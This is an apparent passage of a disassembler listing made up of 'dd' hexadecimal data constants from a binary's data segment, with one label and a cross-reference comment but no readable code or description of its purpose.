dd 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h, 0A1785CB1h
dd 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h, 30147681h
dd 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h, 9600D7D2h
dd 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh, 0D62F3010h
dd 9888A3E8h, 285138h, 42441453h, 0BB42302h, 5729B7C4h
dd 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h, 40D300FBh
dd 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h, 721E1CDh
dd 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh
dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h
dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh
dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh
dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh
dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h, 2BA09DC2h
dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h
dd 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h, 700E1000h
dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h
dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h
dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h
dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h
dd 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h, 1BCEFC5Ch
dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h
dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh
dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h
dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h
dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h, 97000185h
dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh
dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h
dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h, 9AD8C400h
dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h, 0C40D544h
dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h
dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h
dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h
dd 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h
dd 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h, 82F7537Eh
dd 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch
dd 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh, 0D39100C2h
dd 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h
dd 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h
dd 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh, 11A7B4EBh
dd 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h
dd 0F5504890h
dd 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh, 0AE6E9h
dd 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh, 3F97F51h
dd 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh, 1F4C37C7h
dd 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch, 67AE5087h
dd 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah, 80D7143Ch
dd 8A2B5A3h, 58D59502h, 17BD71Fh, 7E2B3CCh, 0DD6C1904h
dd 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h, 0E6EBF600h
dd 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh, 800E83B6h
dd 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h, 230B280h
dd 71CB5CEh, 8D1A0640h, 59A08F88h, 46CD1834h, 720C81Dh
dd 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h, 0BEE2AE91h
dd 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h
dd 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h, 2E1037A9h
dd 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh, 0C0346437h
dd 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh, 6DB69773h
dd 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h, 2F283791h
dd 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h, 469900C1h
dd 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h, 0C374C00h
dd 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h, 3887A42Ah
dd 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h, 9BF0ACC4h
dd 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h, 0C937E794h
dd 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h, 0A54C433Dh
dd 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h, 6214230Ch
dd 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h
dd 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h, 2CFE2Eh
dd 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch, 4E0360h
dd 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh, 3228025h
dd 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh, 0F9485DBh
dd 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh
dd 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh, 0FBC8C42h
dd 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h, 0BD9D0718h
dd 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h
dd 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h, 0DD4C0105h
dd 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h, 0A4A87D01h
dd 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h, 54888CFh
dd 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h, 2EBCD007h
dd 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh, 0DE4CAF00h
dd 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h, 811009CAh
dd 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch, 1DA500E1h
dd 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h, 54A43724h
dd 12080E00h, 0E601D9h, 0A9ED2116h, 2C7920C4h, 22F93109h
dd 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch, 4E00AA10h
dd 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh, 3F0CE2AAh
dd 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh, 8006569Ch
dd 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h, 97134C34h
dd 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h, 0EAC4313h
dd 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h, 22CFEEh
dd 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h, 174B8F5h
dd 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h, 1BD00506h
dd 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh, 0FB4ED472h
dd 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h, 6F4A4CCAh
dd 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh, 9088D496h
dd 0B17DEFh, 9D28467Eh, 0F2A4C010h, 0F5A1361Fh, 38290B00h
dd 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h, 69AE1D84h
dd 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh, 0D1958EFFh
dd 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h, 142F43Fh
dd 0E95018C8h, 13208DAEh, 62F023h, 4216E427h, 0AF1C843Ch
dd 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h, 244C8900h
dd 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h, 571F5E00h
dd 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h, 3F50E4F8h
dd 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h, 4C592D2Eh
dd 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h, 0E9C40009h
dd 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh, 0FE5A00B9h
dd 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh, 0A159E2A4h
dd 984BE623h, 242F862h, 2ECFB118h, 0C6405662h, 0FF1F3452h
dd 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h, 0F03C165Fh
dd 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h, 2DAC22B3h
dd 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh, 4A089FABh
dd 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh, 0D9C2F030h
dd 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h, 5C4D27D1h
dd 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h, 0E85C136Dh
dd 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h, 0BFA32280h
dd 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h, 5B45DB05h
dd 5F09024h, 38507BF9h, 6226C3E9h, 3560B4DAh, 2B059714h
dd 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh, 1A052238h
dd 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh, 0F1561527h
dd 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah, 0F41A682h
dd 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h, 0EA13DDF8h
dd 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh, 0CC03A513h
dd 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h, 0FCDD6510h
dd 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h, 0A4D7CE7h
dd 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h
dd 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch
dd 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh, 0B89D979Fh
dd 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch, 9C0C7CDh
dd 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh, 71E35C89h
dd 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah, 1E080059h
dd 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh
dd 167CD085h, 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh
dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h
dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh
dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h
dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h
dd 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h, 7C6BF048h
dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h
dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h
dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch
dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h, 1336F100h
dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h
dd 3837BD00h, 0D4189h
dd 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h
dd 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h
dd 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h, 0E4A8C200h
dd 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh
dd 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h
dd 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh, 5E34A787h
dd 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h, 94D79F00h
dd 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h, 0F172D307h
dd 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh, 0B00C42Ch
dd 2EF49D04h, 0A43C30h, 0CE034C7Fh, 0C941062h, 9F508800h
dd 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h, 190ACAA3h
dd 12504AE0h, 3A580991h, 0F802108h, 47E4A542h, 97487E01h
dd 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h, 849CBD1Ch
dd 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h, 646D43Ch
dd 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h
dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh
dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h
dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h
dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh, 42CE4DB6h
dd 3050CE6h, 1CDA0849h, 20D85B14h, 76002734h, 402D4258h
dd 0C1F041h, 3905E624h, 5312EF97h, 0FB005DECh, 4945D733h
dd 15C940Fh, 810834B0h, 0F025BFC6h, 24000901h, 28007F2h
dd 1EE231h, 0D6D3E30Bh, 32A221E6h, 907C4A00h, 0B833F934h
dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h, 28E7EDh
dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah
dd 1F764D5h, 9A531EE7h, 6011F121h, 6A0434A5h, 543AA074h
dd 0A18E4BC1h, 42F3C8h, 1E0FE368h, 84F2E8B2h, 38FA3000h
dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h, 4A8F0700h
dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h, 23002C90h
dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h, 48C86B44h
dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h
dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h
dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh
dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh
dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h
dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h
dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h
dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh
dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h
dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh
dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh
dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h
dd 48F7AC4h, 1DA032F1h, 1660C5E2h, 0ACCC431Dh, 81DE42CFh
dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh
dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h
dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh, 7780BCAh
dd 0F4870063h, 2C4ABAh, 886F883h, 0CA62C1D6h, 0FC957703h
dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h
dd 2EA5C208h, 10CCBE0h, 10C46B1Dh, 14C83F02h, 0AA34C0F5h
dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h
dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h, 0BB7374E0h
dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h
dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h
dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h
dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah, 840111DCh
dd 0E4BAC766h, 1E90ECh, 0FF5014E3h, 0C1E0166Fh, 3205C000h
dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h
dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h
dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h, 82960136h
dd 7E908173h, 3B8ECE3h, 3C01AF98h, 0C6BFC241h, 7DC06BCh
dd 9C70038h, 0CC5C105h, 1717E29h, 87C0CC3Bh, 0CD410D80h
dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h, 11E0B80h
dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h, 0DBC11B00h
dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch
dd 1DC4138h, 81D4C114h, 15C040D5h, 0C0D70001h, 41168017h
dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h
dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h
dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h
dd 13D04FDh, 2083C0FFh, 0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h
dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h, 0EBC829FDh
dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh, 0ED0BC12Dh
dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h
dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h
dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h
dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch
dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h
dd 0AB701Ch, 81A9C169h, 687040A8h, 0B8027867h, 7900B947h
dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h
dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h
dd 403BB681h
dword_50005C dd 87720E76h, 80B340B2h, 81B10173h, 4170DC71h, 5010B070h
; DATA XREF: seg002:off_4469D4o
dd 910090C1h, 93015140h, 528053C0h, 76927441h, 1C567896h
dd 1971C57h, 8195C155h, 54CD4094h, 0C0019C01h, 415D805Ch
dd 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah, 5B60E09Bh
dd 59C099BEh, 41581F80h, 0DD88DF98h, 9F491D48h, 0CE4B9889h
dd 8A1D818Bh, 4E874A40h, 8F208E87h, 40014F80h, 4CEE4D8Dh
dd 88C4138h, 0B84C144h, 0B1814085h, 8747C087h, 864146CEh
dd 42678247h, 831C4380h, 0C19C003Dh, 38EC6681h, 7C07A8DBh
dd 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh, 899D505Dh
dd 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah, 5F531D0Eh
dd 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh, 0C8E36E59h
dd 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h, 2FE83D73h
dd 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h, 31EC13h
dd 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h, 0F4154CF0h
dd 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh, 0D63A9680h
dd 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah
dd 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h, 9C3B24h
dd 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h
dd 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h
dd 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h
dd 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h, 0FC0680F8h
dd 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh
dd 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h, 8DB38615h
dd 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh
dd 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh
dd 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h
dd 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h, 8C0E5567h
dd 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h
dd 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h, 88B83B75h
dd 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h
dd 200DEE2h, 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h, 40C3D500h
dd 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh
dd 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h
dd 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h
dd 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h
dd 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h, 0B33C4E82h
dd 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh
dd 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh
dd 10878021h, 52801E34h, 938013Ah, 97791257h, 0F3C10E0h
dd 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh
dd 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h, 0A9F35C88h
dd 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h
dd 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h, 86164839h
dd 524A1CEh, 6F315314h, 20C897Ah, 48202523h, 0C3001CBCh
dd 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h, 2301206h
dd 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h, 84000469h
dd 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh
dd 6B002812h, 38201042h, 0D6591F95h, 0A1880336h, 13B01757h
dd 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh
dd 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h
dd 18598832h, 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h
dd 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h, 0BCB0424h
dd 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h, 165BF362h
dd 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h, 1C041433h
dd 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h, 0D230CCAh
dd 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h
dd 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h, 0CAA8204Ah
dd 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h, 89B0C308h
dd 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h, 84E07A9h
dd 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h
dd 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h
dd 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h
dd 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah
dd 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h
dd 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h, 0B0683CE4h
dd 647585h, 0B80A7320h, 55357469h, 0C305E901h, 0B448F87Eh
dd 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh, 123BB222h
dd 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h, 8908A314h
dd 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h, 9E059CA9h
dd 0FE081380h, 749CB254h, 61800E1h, 2F23B459h, 0FA03A25Ch
dd 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h
dd 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h
dd 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh
dd 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h
dd 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h, 1BEC80E8h
dd 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h
dd 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h
dd 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h, 9DBFFB83h
dd 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh
dd 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h
dd 89F400E3h, 2EBF804h, 0C800C031h, 0BF841090h, 0C970F1h
dd 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h, 7F349455h
dd 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h
dd 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh
dd 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh
dd 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h, 1B04E57Ch
dd 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h, 7CD28580h
dd 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h, 4A02C083h
dd 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h
dd 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h
dd 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h, 0AC9083F6h
dd 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h, 0A2900D66h
dd 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h, 0C7C500EFh
dd 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h, 34FB1056h
dd 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h, 91590FEh
dd 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh
dd 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h, 20048D0h
dd 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh, 830F3D05h
dd 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch
dd 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h, 0C1FE00E2h
